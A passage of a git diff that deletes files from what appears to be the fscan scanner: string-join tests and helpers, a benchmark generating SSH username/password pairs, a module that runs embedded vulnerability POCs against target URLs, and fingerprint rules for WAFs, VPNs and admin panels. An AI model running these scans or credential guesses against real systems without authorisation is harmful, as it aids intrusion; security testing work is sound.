- runtime.ReadMemStats(&m1)
-
- for i := 0; i < 1000; i++ {
- var result string
- if len(slice) > 0 {
- result = slice[0]
- for j := 1; j < len(slice); j++ {
- result += "," + slice[j]
- }
- }
- _ = result
- }
-
- runtime.GC()
- runtime.ReadMemStats(&m2)
- origAlloc := m2.TotalAlloc - m1.TotalAlloc
-
- // 测试优化方法
- runtime.GC()
- runtime.ReadMemStats(&m1)
-
- for i := 0; i < 1000; i++ {
- result := JoinStrings(slice, ",")
- _ = result
- }
-
- runtime.GC()
- runtime.ReadMemStats(&m2)
- optAlloc := m2.TotalAlloc - m1.TotalAlloc
-
- t.Logf("原始方法内存分配: %d bytes", origAlloc)
- t.Logf("优化方法内存分配: %d bytes", optAlloc)
- t.Logf("内存减少: %.2f%%", float64(origAlloc-optAlloc)/float64(origAlloc)*100)
- })
-}
-
-// TestPoolReuse 测试对象池复用效果(StringBuilderPool)
-func TestPoolReuse(t *testing.T) {
- // 重置计数器
- pool := NewStringBuilderPool(1024)
-
- // 执行多次操作
- slice := []string{"a", "b", "c", "d", "e"}
- for i := 0; i < 100; i++ {
- result := pool.JoinStrings(slice, ",")
- _ = result
- }
-
- // GetReusedCount 方法已移除,无法测试复用次数
- t.Log("字符串构建器池测试完成")
-
- // 切片池相关功能已移除,跳过该测试
- t.Log("切片池功能已移除")
-}
-
-// TestStringBuilderCorrectness 测试字符串构建器正确性
-func TestStringBuilderCorrectness(t *testing.T) {
- testCases := []struct {
- slice []string
- sep string
- want string
- }{
- {[]string{}, ",", ""},
- {[]string{"a"}, ",", "a"},
- {[]string{"a", "b"}, ",", "a,b"},
- {[]string{"hello", "world", "test"}, " ", "hello world test"},
- {[]string{"1", "2", "3", "4", "5"}, "-", "1-2-3-4-5"},
- }
-
- for _, tc := range testCases {
- got := JoinStrings(tc.slice, tc.sep)
- want := strings.Join(tc.slice, tc.sep)
-
- if got != want {
- t.Errorf("JoinStrings(%v, %q) = %q, want %q", tc.slice, tc.sep, got, want)
- }
- }
-}
-
-// TestIntJoinCorrectness 测试整数连接正确性
-func TestIntJoinCorrectness(t *testing.T) {
- testCases := []struct {
- slice []int
- sep string
- want string
- }{
- {[]int{}, ",", ""},
- {[]int{1}, ",", "1"},
- {[]int{1, 2}, ",", "1,2"},
- {[]int{10, 20, 30}, "-", "10-20-30"},
- }
-
- for _, tc := range testCases {
- got := JoinInts(tc.slice, tc.sep)
-
- if got != tc.want {
- t.Errorf("JoinInts(%v, %q) = %q, want %q", tc.slice, tc.sep, got, tc.want)
- }
- }
-}
-
-// BenchmarkCredentialGeneration 模拟SSH凭证生成的性能测试
-func BenchmarkCredentialGeneration(b *testing.B) {
- users := []string{"admin", "root", "user", "test", "guest"}
- passwords := make([]string, 20)
- for i := range passwords {
- passwords[i] = fmt.Sprintf("password%d", i)
- }
-
- b.ResetTimer()
- for i := 0; i < b.N; i++ {
- // 模拟SSH凭证生成过程
- totalCreds := len(users) * len(passwords)
- credentials := make([]struct{ user, pass string }, 0, totalCreds)
-
- for _, user := range users {
- for _, pass := range passwords {
- credentials = append(credentials, struct{ user, pass string }{user, pass})
- }
- }
- _ = credentials
- }
-}
-
-// Example 展示如何使用优化后的工具
-func ExampleJoinStrings() {
- slice := []string{"apple", "banana", "cherry"}
- result := JoinStrings(slice, ", ")
- fmt.Println(result)
- // Output: apple, banana, cherry
-}
-
-func ExampleJoinInts() {
- ports := []int{80, 443, 8080, 9090}
- result := JoinInts(ports, ",")
- fmt.Println(result)
- // Output: 80,443,8080,9090
-}
-
-// 运行时长度测试 - 验证在不同规模下的表现
-func TestScalability(t *testing.T) {
- sizes := []int{10, 100, 1000, 5000}
-
- for _, size := range sizes {
- t.Run(fmt.Sprintf("Size%d", size), func(t *testing.T) {
- // 准备数据
- slice := make([]string, size)
- for i := range slice {
- slice[i] = fmt.Sprintf("item-%d", i)
- }
-
- start := time.Now()
- result := JoinStrings(slice, ",")
- duration := time.Since(start)
-
- t.Logf("规模 %d: 耗时 %v, 结果长度 %d", size, duration, len(result))
-
- // 验证结果正确性(只检查开头和结尾)
- expected := strings.Join(slice, ",")
- if result != expected {
- t.Errorf("结果不匹配")
- }
- })
- }
-}
\ No newline at end of file
diff --git a/Common/utils/memmonitor.go b/Common/utils/memmonitor.go
deleted file mode 100644
index 5c76f75..0000000
--- a/Common/utils/memmonitor.go
+++ /dev/null
@@ -1,49 +0,0 @@
-package utils
-
-import (
- "time"
-)
-
-// MemoryMonitor 内存监控器
-type MemoryMonitor struct {
- maxHeapMB uint64 // 最大堆内存阈值(MB)
- maxGoroutines int // 最大goroutine数量阈值
- checkInterval time.Duration // 检查间隔
- running bool // 是否运行中
- stopChan chan bool
-}
-
-// NewMemoryMonitor 创建新的内存监控器
-func NewMemoryMonitor(maxHeapMB uint64, maxGoroutines int, checkInterval time.Duration) *MemoryMonitor {
- return &MemoryMonitor{
- maxHeapMB: maxHeapMB,
- maxGoroutines: maxGoroutines,
- checkInterval: checkInterval,
- stopChan: make(chan bool, 1),
- }
-}
-
-// 已移除未使用的 Start 方法
-
-// 已移除未使用的 Stop 方法
-
-// 已移除未使用的 monitor 方法
-
-// 已移除未使用的 checkMemory 方法
-
-// 已移除未使用的 GetMemoryStats 方法
-
-// 已移除未使用的 ForceGC 方法
-
-// 已移除未使用的 getHeapSize 方法
-
-// 默认内存监控器实例
-var DefaultMemMonitor = NewMemoryMonitor(
- 512, // 最大堆内存512MB
- 1000, // 最大1000个goroutines
- 30*time.Second, // 30秒检查一次
-)
-
-// 已移除未使用的 StartDefaultMonitor 方法
-
-// 已移除未使用的 StopDefaultMonitor 方法
\ No newline at end of file
diff --git a/Common/utils/slicepool.go b/Common/utils/slicepool.go
deleted file mode 100644
index 43a9623..0000000
--- a/Common/utils/slicepool.go
+++ /dev/null
@@ -1,8 +0,0 @@
-package utils
-
-
-
-// 已移除未使用的 DeduplicateStrings 方法
-
-
-
diff --git a/Common/utils/stringbuilder.go b/Common/utils/stringbuilder.go
deleted file mode 100644
index 22c7b12..0000000
--- a/Common/utils/stringbuilder.go
+++ /dev/null
@@ -1,128 +0,0 @@
-package utils
-
-import (
- "strconv"
- "strings"
- "sync"
- "sync/atomic"
-)
-
-// StringBuilderPool 字符串构建器池
-type StringBuilderPool struct {
- pool sync.Pool
- reused int64 // 复用计数器
- maxSize int // 最大保留大小,防止内存无限增长
-}
-
-// NewStringBuilderPool 创建新的字符串构建器池
-func NewStringBuilderPool(maxSize int) *StringBuilderPool {
- if maxSize <= 0 {
- maxSize = 64 * 1024 // 默认64KB最大保留大小
- }
-
- return &StringBuilderPool{
- pool: sync.Pool{
- New: func() interface{} {
- return &strings.Builder{}
- },
- },
- maxSize: maxSize,
- }
-}
-
-// Get 获取字符串构建器
-func (p *StringBuilderPool) Get() *strings.Builder {
- builder := p.pool.Get().(*strings.Builder)
- builder.Reset() // 清空内容但保留容量
- atomic.AddInt64(&p.reused, 1)
- return builder
-}
-
-// Put 归还字符串构建器
-func (p *StringBuilderPool) Put(builder *strings.Builder) {
- if builder == nil {
- return
- }
-
- // 如果容量超过最大限制,不放回池中以避免内存泄露
- if builder.Cap() > p.maxSize {
- return
- }
-
- p.pool.Put(builder)
-}
-
-// JoinStrings 高效连接字符串切片
-func (p *StringBuilderPool) JoinStrings(slice []string, sep string) string {
- if len(slice) == 0 {
- return ""
- }
- if len(slice) == 1 {
- return slice[0]
- }
-
- builder := p.Get()
- defer p.Put(builder)
-
- // 预估容量:所有字符串长度 + 分隔符长度
- var totalLen int
- for _, s := range slice {
- totalLen += len(s)
- }
- totalLen += len(sep) * (len(slice) - 1)
-
- // 如果当前容量不足,预先增长
- if builder.Cap() < totalLen {
- builder.Grow(totalLen)
- }
-
- builder.WriteString(slice[0])
- for i := 1; i < len(slice); i++ {
- builder.WriteString(sep)
- builder.WriteString(slice[i])
- }
-
- return builder.String()
-}
-
-// JoinInts 高效连接整数切片
-func (p *StringBuilderPool) JoinInts(slice []int, sep string) string {
- if len(slice) == 0 {
- return ""
- }
- if len(slice) == 1 {
- return strconv.Itoa(slice[0])
- }
-
- builder := p.Get()
- defer p.Put(builder)
-
- // 预估容量:平均每个整数4字符 + 分隔符
- estimatedLen := len(slice)*4 + len(sep)*(len(slice)-1)
- if builder.Cap() < estimatedLen {
- builder.Grow(estimatedLen)
- }
-
- builder.WriteString(strconv.Itoa(slice[0]))
- for i := 1; i < len(slice); i++ {
- builder.WriteString(sep)
- builder.WriteString(strconv.Itoa(slice[i]))
- }
-
- return builder.String()
-}
-
-
-
-// 全局字符串构建器池实例
-var GlobalStringBuilderPool = NewStringBuilderPool(64 * 1024)
-
-// 便捷函数,使用全局池
-func JoinStrings(slice []string, sep string) string {
- return GlobalStringBuilderPool.JoinStrings(slice, sep)
-}
-
-func JoinInts(slice []int, sep string) string {
- return GlobalStringBuilderPool.JoinInts(slice, sep)
-}
-
diff --git a/WebScan/InfoScan.go b/WebScan/InfoScan.go
deleted file mode 100644
index 7dc0056..0000000
--- a/WebScan/InfoScan.go
+++ /dev/null
@@ -1,98 +0,0 @@
-package WebScan
-
-import (
- "crypto/md5"
- "fmt"
- "github.com/shadow1ng/fscan/common"
- "github.com/shadow1ng/fscan/webscan/info"
- "regexp"
-)
-
-// CheckDatas 存储HTTP响应的检查数据
-type CheckDatas struct {
- Body []byte // 响应体
- Headers string // 响应头
-}
-
-// InfoCheck 检查URL的指纹信息
-func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
- var matchedInfos []string
-
- // 遍历检查数据
- for _, data := range *CheckData {
- // 规则匹配检查
- for _, rule := range info.RuleDatas {
- var matched bool
- var err error
-
- // 根据规则类型选择匹配内容
- switch rule.Type {
- case "code":
- matched, err = regexp.MatchString(rule.Rule, string(data.Body))
- default:
- matched, err = regexp.MatchString(rule.Rule, data.Headers)
- }
-
- // 处理匹配错误
- if err != nil {
- common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err))
- continue
- }
-
- // 添加匹配成功的规则名
- if matched {
- matchedInfos = append(matchedInfos, rule.Name)
- }
- }
-
- // MD5匹配检查暂时注释
- /*
- if flag, name := CalcMd5(data.Body); flag {
- matchedInfos = append(matchedInfos, name)
- }
- */
- }
-
- // 去重处理
- matchedInfos = removeDuplicateElement(matchedInfos)
-
- // 输出结果
- if len(matchedInfos) > 0 {
- result := fmt.Sprintf("发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos)
- common.LogInfo(result)
- return matchedInfos
- }
-
- return []string{}
-}
-
-// CalcMd5 计算内容的MD5并与指纹库比对
-func CalcMd5(Body []byte) (bool, string) {
- contentMd5 := fmt.Sprintf("%x", md5.Sum(Body))
-
- // 比对MD5指纹库
- for _, md5Info := range info.Md5Datas {
- if contentMd5 == md5Info.Md5Str {
- return true, md5Info.Name
- }
- }
-
- return false, ""
-}
-
-// removeDuplicateElement 移除切片中的重复元素
-func removeDuplicateElement(items []string) []string {
- // 预分配空间
- result := make([]string, 0, len(items))
- seen := make(map[string]struct{}, len(items))
-
- // 使用map去重
- for _, item := range items {
- if _, exists := seen[item]; !exists {
- seen[item] = struct{}{}
- result = append(result, item)
- }
- }
-
- return result
-}
diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go
deleted file mode 100644
index 167a6e4..0000000
--- a/WebScan/WebScan.go
+++ /dev/null
@@ -1,325 +0,0 @@
-package WebScan
-
-import (
- "context"
- "embed"
- "errors"
- "fmt"
- "net/http"
- "net/url"
- "os"
- "path/filepath"
- "strings"
- "sync"
- "time"
-
- "github.com/shadow1ng/fscan/common"
- "github.com/shadow1ng/fscan/common/config"
- "github.com/shadow1ng/fscan/webscan/lib"
-)
-
-// 常量定义
-const (
- protocolHTTP = "http://"
- protocolHTTPS = "https://"
- yamlExt = ".yaml"
- ymlExt = ".yml"
- defaultTimeout = 30 * time.Second
- concurrencyLimit = 10 // 并发加载POC的限制
-)
-
-// 错误定义
-var (
- ErrInvalidURL = errors.New("无效的URL格式")
- ErrEmptyTarget = errors.New("目标URL为空")
- ErrPocNotFound = errors.New("未找到匹配的POC")
- ErrPocLoadFailed = errors.New("POC加载失败")
-)
-
-//go:embed pocs
-var pocsFS embed.FS
-var (
- once sync.Once
- allPocs []*lib.Poc
-)
-
-// WebScan 执行Web漏洞扫描
-func WebScan(info *common.HostInfo) {
- // 初始化POC
- once.Do(initPocs)
-
- // 验证输入
- if info == nil {
- common.LogError("无效的扫描目标")
- return
- }
-
- if len(allPocs) == 0 {
- common.LogError("POC加载失败,无法执行扫描")
- return
- }
-
- // 构建目标URL
- target, err := buildTargetURL(info)
- if err != nil {
- common.LogError(fmt.Sprintf("构建目标URL失败: %v", err))
- return
- }
-
- // 使用带超时的上下文
- ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
- defer cancel()
-
- // 根据扫描策略执行POC
- if common.Pocinfo.PocName == "" && len(info.Infostr) == 0 {
- // 执行所有POC
- executePOCs(ctx, config.PocInfo{Target: target})
- } else if len(info.Infostr) > 0 {
- // 基于指纹信息执行POC
- scanByFingerprints(ctx, target, info.Infostr)
- } else if common.Pocinfo.PocName != "" {
- // 基于指定POC名称执行
- executePOCs(ctx, config.PocInfo{Target: target, PocName: common.Pocinfo.PocName})
- }
-}
-
-// buildTargetURL 构建规范的目标URL
-func buildTargetURL(info *common.HostInfo) (string, error) {
- // 自动构建URL
- if info.Url == "" {
- info.Url = fmt.Sprintf("%s%s:%s", protocolHTTP, info.Host, info.Ports)
- } else if !hasProtocolPrefix(info.Url) {
- info.Url = protocolHTTP + info.Url
- }
-
- // 解析URL以提取基础部分
- parsedURL, err := url.Parse(info.Url)
- if err != nil {
- return "", fmt.Errorf("%w: %v", ErrInvalidURL, err)
- }
-
- return fmt.Sprintf("%s://%s", parsedURL.Scheme, parsedURL.Host), nil
-}
-
-// hasProtocolPrefix 检查URL是否包含协议前缀
-func hasProtocolPrefix(urlStr string) bool {
- return strings.HasPrefix(urlStr, protocolHTTP) || strings.HasPrefix(urlStr, protocolHTTPS)
-}
-
-// scanByFingerprints 根据指纹执行POC
-func scanByFingerprints(ctx context.Context, target string, fingerprints []string) {
- for _, fingerprint := range fingerprints {
- if fingerprint == "" {
- continue
- }
-
- pocName := lib.CheckInfoPoc(fingerprint)
- if pocName == "" {
- continue
- }
-
- executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName})
- }
-}
-
-// executePOCs 执行POC检测
-func executePOCs(ctx context.Context, pocInfo config.PocInfo) {
- // 验证目标
- if pocInfo.Target == "" {
- common.LogError(ErrEmptyTarget.Error())
- return
- }
-
- // 确保URL格式正确
- if !hasProtocolPrefix(pocInfo.Target) {
- pocInfo.Target = protocolHTTP + pocInfo.Target
- }
-
- // 验证URL
- _, err := url.Parse(pocInfo.Target)
- if err != nil {
- common.LogError(fmt.Sprintf("%v %s: %v", ErrInvalidURL, pocInfo.Target, err))
- return
- }
-
- // 创建基础请求
- req, err := createBaseRequest(ctx, pocInfo.Target)
- if err != nil {
- common.LogError(fmt.Sprintf("创建HTTP请求失败: %v", err))
- return
- }
-
- // 筛选POC
- matchedPocs := filterPocs(pocInfo.PocName)
- if len(matchedPocs) == 0 {
- common.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName))
- return
- }
-
- // 执行POC检测
- lib.CheckMultiPoc(req, matchedPocs, common.PocNum)
-}
-
-// createBaseRequest 创建带上下文的HTTP请求
-func createBaseRequest(ctx context.Context, target string) (*http.Request, error) {
- req, err := http.NewRequestWithContext(ctx, "GET", target, nil)
- if err != nil {
- return nil, err
- }
-
- // 设置请求头
- req.Header.Set("User-agent", common.UserAgent)
- req.Header.Set("Accept", common.Accept)
- req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
- if common.Cookie != "" {
- req.Header.Set("Cookie", common.Cookie)
- }
-
- return req, nil
-}
-
-// initPocs 初始化并加载POC
-func initPocs() {
- // 预分配容量避免频繁扩容,典型POC数量在100-500之间
- allPocs = make([]*lib.Poc, 0, 256)
-
- if common.PocPath == "" {
- loadEmbeddedPocs()
- } else {
- loadExternalPocs(common.PocPath)
- }
-}
-
-// loadEmbeddedPocs 加载内置POC
-func loadEmbeddedPocs() {
- entries, err := pocsFS.ReadDir("pocs")
- if err != nil {
- common.LogError(fmt.Sprintf("加载内置POC目录失败: %v", err))
- return
- }
-
- // 收集所有POC文件
- var pocFiles []string
- for _, entry := range entries {
- if isPocFile(entry.Name()) {
- pocFiles = append(pocFiles, entry.Name())
- }
- }
-
- // 并发加载POC文件
- loadPocsConcurrently(pocFiles, true, "")
-}
-
-// loadExternalPocs 从外部路径加载POC
-func loadExternalPocs(pocPath string) {
- if !directoryExists(pocPath) {
- common.LogError(fmt.Sprintf("POC目录不存在: %s", pocPath))
- return
- }
-
- // 收集所有POC文件路径
- var pocFiles []string
- err := filepath.Walk(pocPath, func(path string, info os.FileInfo, err error) error {
- if err != nil || info == nil || info.IsDir() {
- return nil
- }
-
- if isPocFile(info.Name()) {
- pocFiles = append(pocFiles, path)
- }
- return nil
- })
-
- if err != nil {
- common.LogError(fmt.Sprintf("遍历POC目录失败: %v", err))
- return
- }
-
- // 并发加载POC文件
- loadPocsConcurrently(pocFiles, false, pocPath)
-}
-
-// loadPocsConcurrently 并发加载POC文件
-func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) {
- pocCount := len(pocFiles)
- if pocCount == 0 {
- return
- }
-
- var wg sync.WaitGroup
- var mu sync.Mutex
- var successCount, failCount int
-
- // 使用信号量控制并发数
- semaphore := make(chan struct{}, concurrencyLimit)
-
- for _, file := range pocFiles {
- wg.Add(1)
- semaphore <- struct{}{} // 获取信号量
-
- go func(filename string) {
- defer func() {
- <-semaphore // 释放信号量
- wg.Done()
- }()
-
- var poc *lib.Poc
- var err error
-
- // 根据不同的来源加载POC
- if isEmbedded {
- poc, err = lib.LoadPoc(filename, pocsFS)
- } else {
- poc, err = lib.LoadPocbyPath(filename)
- }
-
- mu.Lock()
- defer mu.Unlock()
-
- if err != nil {
- failCount++
- return
- }
-
- if poc != nil {
- allPocs = append(allPocs, poc)
- successCount++
- }
- }(file)
- }
-
- wg.Wait()
- common.LogBase(fmt.Sprintf("POC加载完成: 总共%d个,成功%d个,失败%d个",
- pocCount, successCount, failCount))
-}
-
-// directoryExists 检查目录是否存在
-func directoryExists(path string) bool {
- info, err := os.Stat(path)
- return err == nil && info.IsDir()
-}
-
-// isPocFile 检查文件是否为POC文件
-func isPocFile(filename string) bool {
- lowerName := strings.ToLower(filename)
- return strings.HasSuffix(lowerName, yamlExt) || strings.HasSuffix(lowerName, ymlExt)
-}
-
-// filterPocs 根据POC名称筛选
-func filterPocs(pocName string) []*lib.Poc {
- if pocName == "" {
- return allPocs
- }
-
- // 转换为小写以进行不区分大小写的匹配
- searchName := strings.ToLower(pocName)
-
- var matchedPocs []*lib.Poc
- for _, poc := range allPocs {
- if poc != nil && strings.Contains(strings.ToLower(poc.Name), searchName) {
- matchedPocs = append(matchedPocs, poc)
- }
- }
-
- return matchedPocs
-}
diff --git a/WebScan/info/Rules.go b/WebScan/info/Rules.go
deleted file mode 100644
index e7184db..0000000
--- a/WebScan/info/Rules.go
+++ /dev/null
@@ -1,314 +0,0 @@
-package info
-
-type RuleData struct {
- Name string
- Type string
- Rule string
-}
-
-type Md5Data struct {
- Name string
- Md5Str string
-}
-
-type PocData struct {
- Name string
- Alias string
-}
-
-var RuleDatas = []RuleData{
- {"宝塔", "code", "(app.bt.cn/static/app.png|安全入口校验失败|
入口校验失败|href=\"http://www.bt.cn/bbs)"},
- {"深信服防火墙类产品", "code", "(SANGFOR FW)"},
- {"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
- {"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
- {"绿盟防火墙", "code", "(NSFOCUS NF)"},
- {"绿盟防火墙", "headers", "(NSFocus)"},
- {"Topsec-Waf", "index", `(",")`},
- {"Anquanbao", "headers", "(Anquanbao)"},
- {"BaiduYunjiasu", "headers", "(yunjiasu)"},
- {"BigIP", "headers", "(BigIP|BIGipServer)"},
- {"BinarySEC", "headers", "(binarysec)"},
- {"BlockDoS", "headers", "(BlockDos.net)"},
- {"CloudFlare", "headers", "(cloudflare)"},
- {"Cloudfront", "headers", "(cloudfront)"},
- {"Comodo", "headers", "(Protected by COMODO)"},
- {"IBM-DataPower", "headers", "(X-Backside-Transport)"},
- {"DenyAll", "headers", "(sessioncookie=)"},
- {"dotDefender", "headers", "(dotDefender)"},
- {"Incapsula", "headers", "(X-CDN|Incapsula)"},
- {"Jiasule", "headers", "(jsluid=)"},
- {"KONA", "headers", "(AkamaiGHost)"},
- {"ModSecurity", "headers", "(Mod_Security|NOYB)"},
- {"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
- {"Newdefend", "headers", "(newdefend)"},
- {"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
- {"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
- {"Safedog", "headers", "(Safedog|WAF/2.0)"},
- {"SonicWALL", "headers", "(SonicWALL)"},
- {"Stingray", "headers", "(X-Mapping-)"},
- {"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
- {"Usp-Sec", "headers", "(Secure Entry Server)"},
- {"Varnish", "headers", "(varnish)"},
- {"Wallarm", "headers", "(wallarm)"},
- {"阿里云", "code", "(errors.aliyun.com)"},
- {"WebKnight", "headers", "(WebKnight)"},
- {"Yundun", "headers", "(YUNDUN)"},
- {"Yunsuo", "headers", "(yunsuo)"},
- {"Coding pages", "header", "(Coding Pages)"},
- {"启明防火墙", "code", "(/cgi-bin/webui?op=get_product_model)"},
- {"Shiro", "headers", "(=deleteMe|rememberMe=)"},
- {"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
- {"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
- {"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
- {"Nexus", "code", "(Nexus Repository Manager)"},
- {"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
- {"Harbor", "code", "(Harbor)"},
- {"Harbor", "cookie", "(harbor-lang)"},
- {"禅道", "code", "(/theme/default/images/main/zt-logo.png|/zentao/theme/zui/css/min.css)"},
- {"禅道", "cookie", "(zentaosid)"},
- {"协众OA", "code", "(Powered by 协众OA)"},
- {"协众OA", "cookie", "(CNOAOASESSID)"},
- {"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
- {"atmail-WebMail", "cookie", "(atmail6)"},
- {"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
- {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1)"},
- {"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
- {"discuz", "code", "(content=\"Discuz! X\")"},
- {"Typecho", "code", "(Typecho)"},
- {"金蝶EAS", "code", "(easSessionId)"},
- {"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
- {"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
- {"H3C-AM8000", "code", "(AM8000)"},
- {"360企业版", "code", "(360EntWebAdminMD5Secret)"},
- {"H3C公司产品", "code", "(service@h3c.com)"},
- {"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
- {"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
- {"H3C ER5100", "code", "(ER5100系统管理)"},
- {"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
- {"CISCO_EPC3925", "code", "(Docsis_system)"},
- {"CISCO ASR", "code", "(CISCO ASR)"},
- {"H3C ER3200", "code", "(ER3200系统管理)"},
- {"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
- {"Spark_Master", "code", "(Spark Master at)"},
- {"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
- {"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
- {"深信服ssl-vpn", "code", "(login_psw.csp)"},
- {"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
- {"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
- {"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
- {"360主机卫士", "headers", "(zhuji.360.cn)"},
- {"Nagios", "headers", "(Nagios Access)"},
- {"H3C ER8300", "code", "(ER8300系统管理)"},
- {"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
- {"华为 MCU", "code", "(McuR5-min.js)"},
- {"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
- {"泛微OA", "headers", "(ecology_JSessionid)"},
- {"泛微OA", "code", "(/spa/portal/public/index.js)"},
- {"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
- {"360网站卫士", "code", "(360wzb)"},
- {"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
- {"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
- {"zabbix", "cookie", "(zbx_sessionid)"},
- {"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
- {"CISCO_VPN", "headers", "(webvpn)"},
- {"360站长平台", "code", "(360-site-verification)"},
- {"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
- {"o2security_vpn", "headers", "(client_param=install_active)"},
- {"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
- {"H3C ICG1000", "code", "(ICG1000系统管理)"},
- {"CISCO-CX20", "code", "(CISCO-CX20)"},
- {"H3C ER5200", "code", "(ER5200系统管理)"},
- {"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
- {"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
- {"H3C ER3100", "code", "(ER3100系统管理)"},
- {"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
- {"360webfacil_360WebManager", "code", "(publico/template/)"},
- {"Citrix_Netscaler", "code", "(ns_af)"},
- {"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
- {"H3C ER3260", "code", "(ER3260系统管理)"},
- {"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
- {"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
- {"Spark_Worker", "code", "(Spark Worker at)"},
- {"H3C ER3108G", "code", "(ER3108G系统管理)"},
- {"Citrix-ConfProxy", "code", "(confproxy)"},
- {"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
- {"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
- {"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
- {"华为(HUAWEI)USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
- {"H3C ER6300", "code", "(ER6300系统管理)"},
- {"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
- {"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
- {"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
- {"H3C ER2100", "code", "(ER2100系统管理)"},
- {"jira", "code", "(jira.webresources)"},
- {"金和协同管理平台", "code", "(金和协同管理平台)"},
- {"Citrix-NetScaler", "code", "(NS-CACHE)"},
- {"linksys-vpn", "headers", "(linksys-vpn)"},
- {"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
- {"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
- {"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
- {"H3C ER2100n", "code", "(ER2100n系统管理)"},
- {"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
- {"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
- {"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
- {"Jboss", "headers", "(JBoss)"},
- {"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
- {"泛微E-mobile", "headers", "(EMobileServer)"},
- {"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
- {"ThinkPHP", "headers", "(ThinkPHP)"},
- {"ThinkPHP", "code", "(/Public/static/js/)"},
- {"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
- {"Laravel", "headers", "(laravel_session)"},
- {"DWR", "code", "(dwr/engine.js)"},
- {"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
- {"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
- {"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
- {"Jenkins", "code", "(Jenkins)"},
- {"红帆OA", "code", "(iOffice)"},
- {"VMware vSphere", "code", "(VMware vSphere)"},
- {"打印机", "code", "(打印机|media/canon.gif)"},
- {"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
- {"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
- {"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
- {"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
- {"Hadoop Applications", "code", "(/cluster/app/application)"},
- {"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
- {"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
